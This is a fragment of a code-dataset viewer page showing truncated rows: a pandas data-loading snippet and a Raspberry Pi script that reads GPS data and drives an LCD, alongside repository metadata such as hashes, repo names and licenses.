test=pd.read_csv('../data/raw/Test_u94Q5KV.csv')
# In[3]:
train['source']='train'
test['source']='test'
data = pd... | [
"rahul@gmail.com"
] | rahul@gmail.com |
2daf44495a441ace02532763735623f396e93e8f | 62658c46951492bb3e19f7ea25be2c2ee56fa66e | /gps.py | 40d783cceeb9b0de9d0a40923b6d49d0b0494604 | [] | no_license | nishishah/IngeniousHackathon_CodeO-Sapiens | f491cbaa3aced31186d92748402dd43eb7c3ef2c | 51a266ac4b2c4affbd058656583d4f800100732b | refs/heads/master | 2021-01-25T14:16:32.205585 | 2018-03-04T04:34:01 | 2018-03-04T04:34:01 | 123,676,106 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,324 | py | import time
import serial
import string
import pynmea2
import RPi
GPIO as gpio
# to add the LCD library
import Adafruit_CharLCD as LCD
gpio.setmode(gpio.BCM)
# declaring LCD pins
lcd_rs = 17
lcd_en = 18
lcd_d4 = 27
lcd_d5 = 22
lcd_d6 = 23
lcd_d7 = 10
lcd_backlight = 2
lcd_columns = 16 # Lcd ... | [
"noreply@github.com"
] | noreply@github.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.